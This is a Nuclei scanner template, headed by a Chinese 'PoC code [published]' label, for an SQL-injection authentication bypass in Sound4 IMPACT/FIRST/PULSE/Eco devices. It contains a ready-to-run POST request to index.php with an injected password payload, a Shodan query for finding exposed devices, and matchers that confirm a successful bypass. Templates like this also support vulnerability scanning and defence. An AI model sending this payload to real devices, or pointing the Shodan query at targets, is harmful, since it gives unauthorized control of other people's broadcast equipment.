The application suffers from an SQL Injection vulnerability. Input passed through the 'password' POST parameter in 'index.php' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and bypass the authentication mechanism.
PoC代码[已公开]
id: sound4-password-auth-bypass
info:
name: Sound4 IMPACT/FIRST/PULSE/Eco <=2.x - Authentication Bypass
author: r3Y3r53
severity: high
description: |
The application suffers from an SQL Injection vulnerability. Input passed through the 'password' POST parameter in 'index.php' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and bypass the authentication mechanism.
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5727.php
metadata:
verified: true
max-request: 1
shodan-query: http.html:"SOUND4"
tags: sound4,auth-bypass,sqli,misconfig,vuln
http:
- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=test&password=%27%2Bjoxy--%2Bz
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'contains(body, "SOUND4 PULSE", "Network Diagnostic", "Disconnect")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100cba155198ad40530ea30915f9d51f744bc63fa33acfa775161408d07317294660220483b52b874e3d1963374ff6125b4196fc96f3b82ecb69f72cfcb5f6162a17997:922c64590222798bb761d5b6d8e72950